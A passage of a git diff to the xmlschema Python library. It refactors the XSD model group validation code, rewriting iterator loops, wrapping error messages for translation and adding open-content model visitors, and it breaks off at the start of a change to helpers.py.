None) + return max_occurs + elif not_emptiable_items[0][1] is None: + return None + else: + return self.max_occurs * cast(int, not_emptiable_items[0][1]) def has_occurs_restriction( self, other: Union[ModelParticleType, ParticleMixin, 'OccursCalculator']) -> bool: @@ -243,7 +274,7 @@ def has_occurs_restriction( if not self: return True elif isinstance(other, XsdGroup): - return super(XsdGroup, self).has_occurs_restriction(other) + return super().has_occurs_restriction(other) # Group particle compared to element particle if self.max_occurs is None or any(e.max_occurs is None for e in self): @@ -292,21 +323,20 @@ def iter_model(self) -> Iterator[ModelParticleType]: particles = iter(self) while True: - try: - item = next(particles) - except StopIteration: - try: - particles = iterators.pop() - except IndexError: - return - else: + for item in particles: if isinstance(item, XsdGroup) and item.is_pointless(parent=self): iterators.append(particles) particles = iter(item) if len(iterators) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(self) + break else: yield item + else: + try: + particles = iterators.pop() + except IndexError: + return def iter_elements(self) -> Iterator[SchemaElementType]: """ @@ -320,84 +350,118 @@ def iter_elements(self) -> Iterator[SchemaElementType]: particles = iter(self) while True: - try: - item = next(particles) - except StopIteration: - try: - particles = iterators.pop() - except IndexError: - return - else: + for item in particles: if isinstance(item, XsdGroup): + if item.max_occurs == 0: + continue + iterators.append(particles) - particles = iter(item) + particles = iter(item.content) if len(iterators) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(self) + break else: yield item + else: + try: + particles = iterators.pop() + except IndexError: + return - def get_subgroups(self, item: ModelParticleType) -> List['XsdGroup']: + def get_subgroups(self, particle: ModelParticleType) -> List['XsdGroup']: """ Returns a list of the groups that represent the path to the enclosed particle. - Raises an `XMLSchemaModelError` if *item* is not a particle of the model group. + Raises an `XMLSchemaModelError` if the argument is not a particle of the model + group. """ subgroups: List[Tuple[XsdGroup, Iterator[ModelParticleType]]] = [] - group, children = self, iter(self) + group, children = self, iter(self if self.ref is None else self.ref) while True: - try: - child = next(children) - except StopIteration: + for child in children: + if child is particle: + _subgroups = [x[0] for x in subgroups] + _subgroups.append(group) + return _subgroups + elif isinstance(child, XsdGroup): + if len(subgroups) > limits.MAX_MODEL_DEPTH: + raise XMLSchemaModelDepthError(self) + subgroups.append((group, children)) + group, children = child, iter(child if child.ref is None else child.ref) + break + else: try: group, children = subgroups.pop() except IndexError: - msg = '{!r} is not a particle of the model group' - raise XMLSchemaModelError(self, msg.format(item)) from None - else: - continue + msg = _('{!r} is not a particle of the model group') + raise XMLSchemaModelError(self, msg.format(particle)) from None + + def get_model_visitor(self) -> ModelVisitor: + if self.open_content is None or self.open_content.mode == 'none': + return ModelVisitor(self) + elif self.open_content.mode == 'interleave': + return InterleavedModelVisitor(self, self.open_content.any_element) + else: + return SuffixedModelVisitor(self, self.open_content.any_element) - if child is item: - _subgroups = [x[0] for x in subgroups] - _subgroups.append(group) - return _subgroups - elif isinstance(child, XsdGroup): - if len(subgroups) > limits.MAX_MODEL_DEPTH: - raise XMLSchemaModelDepthError(self) - subgroups.append((group, children)) - group, children = child, iter(child) - - def overall_min_occurs(self, item: ModelParticleType) -> int: - """Returns the overall min occurs of a particle in the model.""" - min_occurs = item.min_occurs - - for group in self.get_subgroups(item): - if group.model == 'choice' and len(group) > 1: - return 0 - min_occurs *= group.min_occurs - - return min_occurs - - def overall_max_occurs(self, item: ModelParticleType) -> Optional[int]: - """Returns the overall max occurs of a particle in the model.""" - max_occurs = item.max_occurs - - for group in self.get_subgroups(item): - if max_occurs == 0: - return 0 - elif max_occurs is None: - continue - elif group.max_occurs is None: - max_occurs = None - else: - max_occurs *= group.max_occurs + def overall_min_occurs(self, particle: ModelParticleType) -> int: + """ + Returns the overall min occurs of a particle in the model group. + """ + model = self.get_model_visitor() + return model.overall_min_occurs(particle) + + def overall_max_occurs(self, particle: ModelParticleType) -> Optional[int]: + """ + Returns the overall max occurs of a particle in the model group. + """ + model = self.get_model_visitor() + return model.overall_max_occurs(particle) - return max_occurs + def is_optional(self, particle: ModelParticleType) -> bool: + """ + Returns `True` if the provided particle can be optional in the model group. + """ + return self.overall_min_occurs(particle) == 0 + + def is_missing(self, occurs: OccursCounterType) -> bool: + value = occurs[self.oid] or occurs[self] + return not self.is_emptiable() if value == 0 else self.min_occurs > value + + def get_expected(self, occurs: OccursCounterType) -> List[SchemaElementType]: + """ + Returns the expected elements of the current and descendant groups + given a counter of occurrences. Returns an empty list if the group + reached the maximum number of occurrences. + """ + expected: List[SchemaElementType] = [] + items: Union['XsdGroup', Iterator[ModelParticleType]] + + if self.is_over(occurs): + return expected + elif self.model == 'choice': + items = self + else: + items = (p for p in self._group if p.min_occurs > occurs[p]) + + for p in items: + if isinstance(p, XsdGroup): + expected.extend( + e for e in p.iter_elements() if e.min_occurs > occurs[e] + ) + else: + expected.append(p) + if p.name in p.maps.substitution_groups: + expected.extend(p.maps.substitution_groups[p.name]) + return expected def copy(self) -> 'XsdGroup': group: XsdGroup = object.__new__(self.__class__) group.__dict__.update(self.__dict__) group.errors = self.errors[:] group._group = self._group[:] + if self.ref is None: + group.content = group._group return group __copy__ = copy @@ -409,7 +473,8 @@ def _parse(self) -> None: if self.elem.tag != XSD_GROUP: # Local group (sequence|all|choice) if 'name' in self.elem.attrib: - self.parse_error("attribute 'name' not allowed for a local group") + msg = _("attribute 'name' not allowed in a local group") + self.parse_error(msg) self._parse_content_model(self.elem) elif self._parse_reference(): @@ -417,24 +482,28 @@ def _parse(self) -> None: try: xsd_group = self.maps.lookup_group(self.name) except KeyError: - self.parse_error("missing group %r" % self.prefixed_name) + self.parse_error(_("missing group %r") % self.prefixed_name) xsd_group = self.schema.create_any_content_group(parent=self) if isinstance(xsd_group, XsdGroup): self.model = xsd_group.model if self.model == 'all': if self.max_occurs != 1: - self.parse_error("maxOccurs must be 1 for 'all' model groups") + msg = _("maxOccurs must be 1 for 'all' model groups") + self.parse_error(msg) if self.min_occurs not in (0, 1): - self.parse_error("minOccurs must be (0 | 1) for 'all' model groups") + msg = _("minOccurs must be (0 | 1) for 'all' model groups") + self.parse_error(msg) if self.xsd_version == '1.0' and isinstance(self.parent, XsdGroup): - self.parse_error("in XSD 1.0 the 'all' model group cannot be nested") + msg = _("in XSD 1.0 an 'all' model group cannot be nested") + self.parse_error(msg) self._group.append(xsd_group) self.ref = xsd_group + self.content = xsd_group._group else: # Disallowed circular definition, substitute with any content group. - self.parse_error("Circular definitions detected for group %r:" % self.name, - xsd_group[0]) + msg = _("Circular definition detected for group %r") + self.parse_error(msg % self.name, xsd_group[0]) self.model = 'sequence' self.mixed = True self._group.append(self.schema.xsd_any_class(ANY_ELEMENT, self.schema, self)) @@ -447,35 +516,41 @@ def _parse(self) -> None: pass else: if self.parent is not None: - self.parse_error("attribute 'name' not allowed for a local group") + msg = _("attribute 'name' not allowed in a local group") + self.parse_error(msg) else: if 'minOccurs' in attrib: - self.parse_error("attribute 'minOccurs' not allowed for a global group") + msg = _("attribute 'minOccurs' not allowed in a global group") + self.parse_error(msg) if 'maxOccurs' in attrib: - self.parse_error("attribute 'maxOccurs' not allowed for a global group") + msg = _("attribute 'maxOccurs' not allowed in a global group") + self.parse_error(msg) content_model = self._parse_child_component(self.elem, strict=True) if content_model is not None: if self.parent is None: if 'minOccurs' in content_model.attrib: - self.parse_error("attribute 'minOccurs' not allowed for the model " - "of a global group", content_model) + msg = _("attribute 'minOccurs' not allowed in a global group") + self.parse_error(msg, content_model) if 'maxOccurs' in content_model.attrib: - self.parse_error("attribute 'maxOccurs' not allowed for the model " - "of a global group", content_model) + msg = _("attribute 'maxOccurs' not allowed in a global group") + self.parse_error(msg, content_model) if content_model.tag in {XSD_SEQUENCE, XSD_ALL, XSD_CHOICE}: self._parse_content_model(content_model) else: - self.parse_error('unexpected tag %r' % content_model.tag, content_model) + msg = _('unexpected tag %r') + self.parse_error(msg % content_model.tag, content_model) def _parse_content_model(self, content_model: ElementType) -> None: self.model = local_name(content_model.tag) if self.model == 'all': if self.max_occurs != 1: - self.parse_error("maxOccurs must be 1 for 'all' model groups") + msg = _("maxOccurs must be 1 for 'all' model groups") + self.parse_error(msg) if self.min_occurs not in (0, 1): - self.parse_error("minOccurs must be (0 | 1) for 'all' model groups") + msg = _("minOccurs must be (0 | 1) for 'all' model groups") + self.parse_error(msg) child: ElementType for child in content_model: @@ -485,7 +560,7 @@ def _parse_content_model(self, content_model: ElementType) -> None: # Builds inner elements later, for avoid circularity. self.append(self.schema.xsd_element_class(child, self.schema, self, False)) elif content_model.tag == XSD_ALL: - self.parse_error("'all' model can contains only elements.") + self.parse_error(_("'all' model can contain only elements")) elif child.tag == XSD_ANY: self._group.append(XsdAnyElement(child, self.schema, self)) elif child.tag in (XSD_SEQUENCE, XSD_CHOICE): @@ -495,7 +570,8 @@ def _parse_content_model(self, content_model: ElementType) -> None: ref = self.schema.resolve_qname(child.attrib['ref']) except (KeyError, ValueError, RuntimeError) as err: if 'ref' not in child.attrib: - self.parse_error("missing attribute 'ref' in local group", child) + msg = _("missing attribute 'ref' in local group") + self.parse_error(msg, child) else: self.parse_error(err, child) continue @@ -503,16 +579,18 @@ def _parse_content_model(self, content_model: ElementType) -> None: if ref != self.name: xsd_group = XsdGroup(child, self.schema, self) if xsd_group.model == 'all': - self.parse_error("'all' model can appears only at 1st level " - "of a model group") + msg = _("'all' model can appears only at 1st level of a model group") + self.parse_error(msg) else: self._group.append(xsd_group) elif self.redefine is None: - self.parse_error("Circular definition detected for group %r:" % self.name) + msg = _("Circular definition detected for group %r") + self.parse_error(msg % self.name) else: if child.get('minOccurs', '1') != '1' or child.get('maxOccurs', '1') != '1': - self.parse_error("Redefined group reference cannot have " - "minOccurs/maxOccurs other than 1:") + msg = _("Redefined group reference cannot have " + "minOccurs/maxOccurs other than 1") + self.parse_error(msg) self._group.append(self.redefine) def build(self) -> None: @@ -656,17 +734,13 @@ def is_sequence_restriction(self, other: 'XsdGroup') -> bool: # Same model: declarations must simply preserve order other_iterator = iter(other.iter_model()) for item in self.iter_model(): - while True: - try: - other_item = next(other_iterator) - except StopIteration: - return False + for other_item in other_iterator: if other_item is item or item.is_restriction(other_item, check_occurs): break elif other.model == 'choice': if item.max_occurs != 0: continue - elif not other_item.is_matching(item.name, self.default_namespace): + elif not other_item.is_matching(item.name): continue elif all(e.max_occurs == 0 for e in self.iter_model()): return False @@ -674,18 +748,14 @@ def is_sequence_restriction(self, other: 'XsdGroup') -> bool: break elif not other_item.is_emptiable(): return False - - if other.model == 'choice': - return True - - while True: - try: - other_item = next(other_iterator) - except StopIteration: - return True else: + return False + + if other.model != 'choice': + for other_item in other_iterator: if not other_item.is_emptiable(): return False + return True def is_all_restriction(self, other: 'XsdGroup') -> bool: if not self.has_occurs_restriction(other): @@ -762,79 +832,6 @@ def is_choice_restriction(self, other: 'XsdGroup') -> bool: else: return other_max_occurs >= max_occurs * self.max_occurs - def check_model(self) -> None: - """ - Checks if the model group is deterministic. Element Declarations Consistent and - Unique Particle Attribution constraints are checked. - :raises: an `XMLSchemaModelError` at first violated constraint. - """ - def safe_iter_path() -> Iterator[SchemaElementType]: - iterators: List[Iterator[ModelParticleType]] = [] - particles = iter(self) - - while True: - try: - item = next(particles) - except StopIteration: - try: - current_path.pop() - particles = iterators.pop() - except IndexError: - return - else: - if isinstance(item, XsdGroup): - current_path.append(item) - iterators.append(particles) - particles = iter(item) - if len(iterators) > limits.MAX_MODEL_DEPTH: - raise XMLSchemaModelDepthError(self) - else: - yield item - - paths: Any = {} - current_path: List[ModelParticleType] = [self] - try: - any_element = self.parent.open_content.any_element # type: ignore[union-attr] - except AttributeError: - any_element = None - - for e in safe_iter_path(): - - previous_path: List[ModelParticleType] - for pe, previous_path in paths.values(): - # EDC check - if not e.is_consistent(pe) or any_element and not any_element.is_consistent(pe): - msg = "Element Declarations Consistent violation between %r and %r: " \ - "match the same name but with different types" % (e, pe) - raise XMLSchemaModelError(self, msg) - - # UPA check - if pe is e or not pe.is_overlap(e): - continue - elif pe.parent is e.parent: - if pe.parent.model in {'all', 'choice'}: - if isinstance(pe, Xsd11AnyElement) and not isinstance(e, XsdAnyElement): - pe.add_precedence(e, self) - elif isinstance(e, Xsd11AnyElement) and not isinstance(pe, XsdAnyElement): - e.add_precedence(pe, self) - else: - msg = "{!r} and {!r} overlap and are in the same {!r} group" - raise XMLSchemaModelError(self, msg.format(pe, e, pe.parent.model)) - elif pe.min_occurs == pe.max_occurs: - continue - - if distinguishable_paths(previous_path + [pe], current_path + [e]): - continue - elif isinstance(pe, Xsd11AnyElement) and not isinstance(e, XsdAnyElement): - pe.add_precedence(e, self) - elif isinstance(e, Xsd11AnyElement) and not isinstance(pe, XsdAnyElement): - e.add_precedence(pe, self) - else: - msg = "Unique Particle Attribution violation between {!r} and {!r}" - raise XMLSchemaModelError(self, msg.format(pe, e)) - - paths[e.name] = e, current_path[:] - def check_dynamic_context(self, elem: ElementType, xsd_element: SchemaElementType, model_element: SchemaElementType, @@ -843,9 +840,8 @@ def check_dynamic_context(self, elem: ElementType, if model_element is not xsd_element and isinstance(model_element, XsdElement): if 'substitution' in model_element.block \ or xsd_element.type and xsd_element.type.is_blocked(model_element): - raise XMLSchemaValidationError( - model_element, elem, "substitution of %r is blocked" % model_element - ) + reason = _("substitution of %r is blocked") % model_element + raise XMLSchemaValidationError(model_element, elem, reason) alternatives: Union[Tuple[()], List[XsdAlternative]] = [] if isinstance(xsd_element, XsdAnyElement): @@ -855,6 +851,10 @@ def check_dynamic_context(self, elem: ElementType, try: xsd_element = self.maps.lookup_element(elem.tag) except LookupError: + if self.schema.meta_schema is None: + # Meta-schema groups ignore xsi:type (issue #350) + return + try: type_name = elem.attrib[XSI_TYPE].strip() except KeyError: @@ -875,7 +875,7 @@ def check_dynamic_context(self, elem: ElementType, ) else: - if XSI_TYPE not in elem.attrib: + if XSI_TYPE not in elem.attrib or self.schema.meta_schema is None: xsd_type = xsd_element.type else: alternatives = xsd_element.alternatives @@ -893,12 +893,11 @@ def check_dynamic_context(self, elem: ElementType, for derivation in model_element.block.split(): if xsd_type is not model_element.type and \ xsd_type.is_derived(model_element.type, derivation): - reason = "usage of %r with type %s is blocked by head element" - raise XMLSchemaValidationError( - self, elem, reason % (xsd_element, derivation) - ) + reason = _("usage of {0!r} with type {1} is blocked by " + "head element").format(xsd_element, derivation) + raise XMLSchemaValidationError(self, elem, reason) - if XSI_TYPE not in elem.attrib: + if XSI_TYPE not in elem.attrib or self.schema.meta_schema is None: return # If it's a restriction the context is the base_type's group @@ -919,22 +918,23 @@ def check_dynamic_context(self, elem: ElementType, if len(other.alternatives) != len(alternatives) or \ not xsd_type.is_dynamic_consistent(other.type): - reason = "%r that matches %r is not consistent with local declaration %r" - raise XMLSchemaValidationError(self, reason % (elem, xsd_element, other)) + reason = _("{0!r} that matches {1!r} is not consistent with local " + "declaration {2!r}").format(elem, xsd_element, other) + raise XMLSchemaValidationError(self, reason) if not all(any(a == x for x in alternatives) for a in other.alternatives) or \ not all(any(a == x for x in other.alternatives) for a in alternatives): - msg = "Maybe a not equivalent type table between elements %r and %r." - warnings.warn(msg % (self, xsd_element), XMLSchemaTypeTableWarning, stacklevel=3) + msg = _("Maybe a not equivalent type table between elements " + "{0!r} and {1!r}.").format(self, xsd_element) + warnings.warn(msg, XMLSchemaTypeTableWarning, stacklevel=3) - def match_element(self, name: str, default_namespace: Optional[str] = None) \ - -> Optional[SchemaElementType]: + def match_element(self, name: str) -> Optional[SchemaElementType]: """ Try a model-less match of a child element. Returns the matched element, or `None` if there is no match. """ for xsd_element in self.iter_elements(): - if xsd_element.is_matching(name, default_namespace, group=self): + if xsd_element.is_matching(name, group=self): return xsd_element return None @@ -953,7 +953,7 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) cdata_index = 1 # keys for CDATA sections are positive integers if not self._group and self.model == 'choice' and self.min_occurs: - reason = "an empty 'choice' group with minOccurs > 0 cannot validate any content" + reason = _("an empty 'choice' group with minOccurs > 0 cannot validate any content") yield self.validation_error(validation, reason, obj, **kwargs) yield result_list return @@ -965,7 +965,7 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) if len(self) == 1 and isinstance(self[0], XsdAnyElement): pass # [XsdAnyElement()] equals to an empty complexType declaration else: - reason = "character data between child elements not allowed" + reason = _("character data between child elements not allowed") yield self.validation_error(validation, reason, obj, **kwargs) cdata_index = 0 # Do not decode CDATA @@ -975,49 +975,45 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) result_list.append((cdata_index, text, None)) cdata_index += 1 - level = kwargs['level'] = kwargs.pop('level', 0) + 1 + try: + level = kwargs['level'] = kwargs['level'] + 1 + except KeyError: + level = kwargs['level'] = 1 + over_max_depth = 'max_depth' in kwargs and kwargs['max_depth'] <= level if level > limits.MAX_XML_DEPTH: - reason = "XML data depth exceeded (MAX_XML_DEPTH=%r)" % limits.MAX_XML_DEPTH + reason = _("XML data depth exceeded (MAX_XML_DEPTH=%r)") % limits.MAX_XML_DEPTH self.validation_error('strict', reason, obj, **kwargs) try: - namespaces = kwargs['namespaces'] + converter = kwargs['converter'] except KeyError: - namespaces = default_namespace = None - else: - try: - default_namespace = namespaces.get('') - except AttributeError: - default_namespace = None + converter = self._get_converter(obj, kwargs) errors: List[Tuple[int, ModelParticleType, int, Optional[List[SchemaElementType]]]] xsd_element: Optional[SchemaElementType] expected: Optional[List[SchemaElementType]] - model = ModelVisitor(self) errors = [] broken_model = False + namespaces = converter.namespaces + model = self.get_model_visitor() for index, child in enumerate(obj): if callable(child.tag): - continue # child is a <class 'lxml.etree._Comment'> + continue # child is a comment or PI + + converter.set_context(child, level) + name = converter.map_qname(child.tag) while model.element is not None: - xsd_element = model.element.match( - child.tag, default_namespace, group=self, occurs=model.occurs - ) + xsd_element = model.match_element(child.tag) if xsd_element is None: - if self.interleave is not None and self.interleave.is_matching( - child.tag, default_namespace, self, model.occurs): - xsd_element = self.interleave - break - for particle, occurs, expected in model.advance(False): errors.append((index, particle, occurs, expected)) model.clear() broken_model = True # the model is broken, continues with raw decoding. - xsd_element = self.match_element(child.tag, default_namespace) + xsd_element = self.match_element(child.tag) break else: continue @@ -1032,40 +1028,30 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) errors.append((index, particle, occurs, expected)) break else: - if self.suffix is not None and \ - self.suffix.is_matching(child.tag, default_namespace, self): - xsd_element = self.suffix - else: - xsd_element = self.match_element(child.tag, default_namespace) - if xsd_element is None: - errors.append((index, self, 0, None)) - broken_model = True - elif not broken_model: - errors.append((index, xsd_element, 0, [])) - broken_model = True + xsd_element = self.match_element(child.tag) + if xsd_element is None: + errors.append((index, self, 0, None)) + broken_model = True + elif not broken_model: + errors.append((index, xsd_element, 0, [])) + broken_model = True if xsd_element is None: - if kwargs.get('keep_unknown') and 'converter' in kwargs: + if kwargs.get('keep_unknown'): for result in self.any_type.iter_decode(child, validation, **kwargs): - result_list.append((child.tag, result, None)) - continue - elif 'converter' not in kwargs: - # Validation-only mode: do not append results - for result in xsd_element.iter_decode(child, validation, **kwargs): - if isinstance(result, XMLSchemaValidationError): - yield result + result_list.append((name, result, None)) continue elif over_max_depth: if 'depth_filler' in kwargs: func = kwargs['depth_filler'] - result_list.append((child.tag, func(xsd_element), xsd_element)) + result_list.append((name, func(xsd_element), xsd_element)) continue for result in xsd_element.iter_decode(child, validation, **kwargs): if isinstance(result, XMLSchemaValidationError): yield result else: - result_list.append((child.tag, result, xsd_element)) + result_list.append((name, result, xsd_element)) if cdata_index and child.tail is not None: tail = str(child.tail.strip()) @@ -1081,12 +1067,22 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) index = len(obj) for particle, occurs, expected in model.stop(): errors.append((index, particle, occurs, expected)) + break if errors: source = kwargs.get('source') + namespaces = converter.namespaces + for index, particle, occurs, expected in errors: error = XMLSchemaChildrenValidationError( - self, obj, index, particle, occurs, expected, source, namespaces + validator=self, + elem=obj, + index=index, + particle=particle, + occurs=occurs, + expected=expected, + source=source, + namespaces=namespaces, ) if validation == 'strict': raise error @@ -1105,44 +1101,42 @@ def iter_encode(self, obj: ElementData, validation: str = 'lax', **kwargs: Any) :return: yields a couple with the text of the Element and a list of child \ elements, eventually preceded by a sequence of validation errors. """ - level = kwargs['level'] = kwargs.get('level', 0) + 1 errors = [] text = raw_xml_encode(obj.text) children: List[ElementType] = [] - try: - indent = kwargs['indent'] - except KeyError: - indent = 4 - - padding = '\n' + ' ' * indent * level try: - converter = kwargs['converter'] + level = kwargs['level'] = kwargs['level'] + 1 except KeyError: - converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + level = kwargs['level'] = 1 + converter = kwargs['converter'] + padding = '\n' + ' ' * converter.indent * level default_namespace = converter.get('') - model = ModelVisitor(self) + index = cdata_index = 0 wrong_content_type = False over_max_depth = 'max_depth' in kwargs and kwargs['max_depth'] <= level + model = self.get_model_visitor() content: Iterable[Any] - if obj.content is None: + if not obj.content: content = [] elif isinstance(obj.content, MutableMapping) or kwargs.get('unordered'): - content = ModelVisitor(self).iter_unordered_content( - obj.content, default_namespace - ) + content = iter_unordered_content(obj.content, self) elif not isinstance(obj.content, MutableSequence): wrong_content_type = True content = [] + elif not isinstance(obj.content[0], tuple): + if len(obj.content) > 1 or text is not None: + wrong_content_type = True + else: + text = raw_xml_encode(obj.content[0]) + content = [] elif converter.losslessly: content = obj.content else: - content = ModelVisitor(self).iter_collapsed_content( - obj.content, default_namespace - ) + content = iter_collapsed_content(obj.content, self) for index, (name, value) in enumerate(content): if isinstance(name, int): @@ -1156,43 +1150,33 @@ def iter_encode(self, obj: ElementData, validation: str = 'lax', **kwargs: Any) continue xsd_element: Optional[SchemaElementType] - if self.interleave and self.interleave.is_matching(name, default_namespace, group=self): - xsd_element = self.interleave - value = get_qname(default_namespace, name), value - else: - while model.element is not None: - xsd_element = model.element.match( - name, default_namespace, group=self, occurs=model.occurs - ) - if xsd_element is None: - for particle, occurs, expected in model.advance(): - errors.append((index - cdata_index, particle, occurs, expected)) - continue - elif isinstance(xsd_element, XsdAnyElement): - value = get_qname(default_namespace, name), value - - for particle, occurs, expected in model.advance(True): + while model.element is not None: + xsd_element = model.match_element(name) + if xsd_element is None: + for particle, occurs, expected in model.advance(): errors.append((index - cdata_index, particle, occurs, expected)) - break - else: - if self.suffix and self.suffix.is_matching(name, default_namespace, group=self): - xsd_element = self.suffix - value = get_qname(default_namespace, name), value + continue + elif isinstance(xsd_element, XsdAnyElement): + value = get_qname(default_namespace, name), value + + for particle, occurs, expected in model.advance(True): + errors.append((index - cdata_index, particle, occurs, expected)) + break + else: + errors.append((index - cdata_index, self, 0, [])) + xsd_element = self.match_element(name) + if isinstance(xsd_element, XsdAnyElement): + value = get_qname(default_namespace, name), value + elif xsd_element is None: + if name.startswith('{') or ':' not in name: + reason = _('{!r} does not match any declared element ' + 'of the model group').format(name) else: - errors.append((index - cdata_index, self, 0, [])) - xsd_element = self.match_element(name, default_namespace) - if isinstance(xsd_element, XsdAnyElement): - value = get_qname(default_namespace, name), value - elif xsd_element is None: - if name.startswith('{') or ':' not in name: - reason = '{!r} does not match any declared element ' \ - 'of the model group.'.format(name) - else: - reason = '{} has an unknown prefix {!r}'.format( - name, name.split(':')[0] - ) - yield self.validation_error(validation, reason, value, **kwargs) - continue + reason = _('{0} has an unknown prefix {1!r}').format( + name, name.split(':')[0] + ) + yield self.validation_error(validation, reason, value, **kwargs) + continue if over_max_depth: continue @@ -1206,12 +1190,15 @@ def iter_encode(self, obj: ElementData, validation: str = 'lax', **kwargs: Any) if model.element is not None: for particle, occurs, expected in model.stop(): errors.append((index - cdata_index + 1, particle, occurs, expected)) + break if children: if children[-1].tail is None: - children[-1].tail = padding[:-indent] or '\n' + children[-1].tail = padding[:-converter.indent] or '\n' else: - children[-1].tail = children[-1].tail.strip() + (padding[:-indent] or '\n') + children[-1].tail = children[-1].tail.strip() + ( + padding[:-converter.indent] or '\n' + ) cdata_not_allowed = not self.mixed and text and text.strip() and self and \ (len(self) > 1 or not isinstance(self[0], XsdAnyElement)) @@ -1219,13 +1206,14 @@ def iter_encode(self, obj: ElementData, validation: str = 'lax', **kwargs: Any) if errors or cdata_not_allowed or wrong_content_type: attrib = {k: raw_xml_encode(v) for k, v in obj.attributes.items()} elem = converter.etree_element(obj.tag, text, children, attrib) + namespaces = converter.namespaces if wrong_content_type: - reason = "wrong content type {!r}".format(type(obj.content)) + reason = _("wrong content type {!r}").format(type(obj.content)) yield self.validation_error(validation, reason, elem, **kwargs) if cdata_not_allowed: - reason = "character data between child elements not allowed" + reason = _("character data between child elements not allowed") yield self.validation_error(validation, reason, elem, **kwargs) for index, particle, occurs, expected in errors: @@ -1236,7 +1224,7 @@ def iter_encode(self, obj: ElementData, validation: str = 'lax', **kwargs: Any) particle=particle, occurs=occurs, expected=expected, - namespaces=converter.namespaces, + namespaces=namespaces, ) if validation == 'strict': raise error @@ -1252,7 +1240,7 @@ class Xsd11Group(XsdGroup): Class for XSD 1.1 *model group* definitions. .. The XSD 1.1 model groups differ from XSD 1.0 groups for the 'all' model, - .. that can contains also other groups. + that can contains also other groups. .. <all id = ID maxOccurs = (0 | 1) : 1 @@ -1265,9 +1253,11 @@ def _parse_content_model(self, content_model: ElementType) -> None: self.model = local_name(content_model.tag) if self.model == 'all': if self.max_occurs not in (0, 1): - self.parse_error("maxOccurs must be (0 | 1) for 'all' model groups") + msg = _("maxOccurs must be (0 | 1) for 'all' model groups") + self.parse_error(msg) if self.min_occurs not in (0, 1): - self.parse_error("minOccurs must be (0 | 1) for 'all' model groups") + msg = _("minOccurs must be (0 | 1) for 'all' model groups") + self.parse_error(msg) for child in content_model: if child.tag == XSD_ELEMENT: @@ -1282,7 +1272,8 @@ def _parse_content_model(self, content_model: ElementType) -> None: ref = self.schema.resolve_qname(child.attrib['ref']) except (KeyError, ValueError, RuntimeError) as err: if 'ref' not in child.attrib: - self.parse_error("missing attribute 'ref' in local group", child) + msg = _("missing attribute 'ref' in local group") + self.parse_error(msg, child) else: self.parse_error(err, child) continue @@ -1291,16 +1282,19 @@ def _parse_content_model(self, content_model: ElementType) -> None: xsd_group = Xsd11Group(child, self.schema, self) self._group.append(xsd_group) if (self.model != 'all') ^ (xsd_group.model != 'all'): - msg = "an xs:%s group cannot include a reference to an xs:%s group" - self.parse_error(msg % (self.model, xsd_group.model)) + msg = _("an xs:{0} group cannot include a reference to an " + "xs:{1} group").format(self.model, xsd_group.model) + self.parse_error(msg) self.pop() elif self.redefine is None: - self.parse_error("Circular definition detected for group %r:" % self.name) + msg = _("Circular definition detected for group %r") + self.parse_error(msg % self.name) else: if child.get('minOccurs', '1') != '1' or child.get('maxOccurs', '1') != '1': - self.parse_error("Redefined group reference cannot have " - "minOccurs/maxOccurs other than 1:") + msg = _("Redefined group reference cannot have " + "minOccurs/maxOccurs other than 1") + self.parse_error(msg) self._group.append(self.redefine) def admits_restriction(self, model: str) -> bool: @@ -1334,6 +1328,26 @@ def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> else: # other.model == 'choice': return self.is_choice_restriction(other) + def has_occurs_restriction( + self, other: Union[ModelParticleType, ParticleMixin, 'OccursCalculator']) -> bool: + if not isinstance(other, XsdGroup): + return super().has_occurs_restriction(other) + elif not self: + return True + elif self.effective_min_occurs < other.effective_min_occurs: + return False + + effective_max_occurs = self.effective_max_occurs + if effective_max_occurs == 0: + return True + elif effective_max_occurs is None: + return other.effective_max_occurs is None + + try: + return effective_max_occurs <= other.effective_max_occurs # type: ignore[operator] + except TypeError: + return True + def is_sequence_restriction(self, other: XsdGroup) -> bool: if not self.has_occurs_restriction(other): return False @@ -1359,13 +1373,23 @@ def is_sequence_restriction(self, other: XsdGroup) -> bool: for other_item in other.iter_model(): if item is not None and item.is_restriction(other_item, check_occurs): item = next(item_iterator, None) + elif not other_item.is_emptiable(): + break + else: + if item is None: + return True + + # Restriction check failed again: try checking other items against self + other_items = other.iter_model() + for other_item in other_items: + if self.is_restriction(other_item, check_occurs): + return all(x.is_emptiable() for x in other_items) elif not other_item.is_emptiable(): return False - return item is None + else: + return False def is_all_restriction(self, other: XsdGroup) -> bool: - if not self.has_occurs_restriction(other): - return False restriction_items = [x for x in self.iter_model()] base_items = [x for x in other.iter_model()] @@ -1381,7 +1405,7 @@ def is_all_restriction(self, other: XsdGroup) -> bool: w2.extended = True break else: - wildcards.append(w1.copy()) + wildcards.append(_copy(w1)) base_items.extend(w for w in wildcards if hasattr(w, 'extended')) @@ -1506,7 +1530,7 @@ def is_choice_restriction(self, other: XsdGroup) -> bool: break elif item.max_occurs != 0: continue - elif not other_item.is_matching(item.name, self.default_namespace): + elif not other_item.is_matching(item.name): continue elif has_not_empty_item: break diff --git a/xmlschema/validators/helpers.py b/xmlschema/validators/helpers.py index a9903f9..6d3c565 100644 --- a/xmlschema/validators/helpers.py +++ b/xmlschema/validators/helpers.py @@ -9,14 +9,21 @@ # from decimal import Decimal from math import isinf, isnan -from typing import Optional, Set, Union +from typing import Optional, Set, SupportsFloat, Union from xml.etree.ElementTree import Element from elementpath import datatypes +from ..aliases import ElementType +from ..names import XSD_ANNOTATION from ..exceptions import XMLSchemaValueError +from ..translation import gettext as _ from .exceptions import XMLSchemaValidationError XSD_FINAL_ATTRIBUTE_VALUES = {'restriction', 'extension', 'list', 'union'} +XSD_BOOLEAN_MAP = { + 'false': False, '0': False, + 'true': True, '1': True +} def get_xsd_derivation_attribute(elem: Element, attribute: str, @@ -40,10 +47,24 @@ def get_xsd_derivation_attribute(elem: Element, attribute: str, if len(items) == 1 and items[0] == '#all': return ' '.join(values) elif not all(s in values for s in items): - raise ValueError("wrong value %r for attribute %r" % (value, 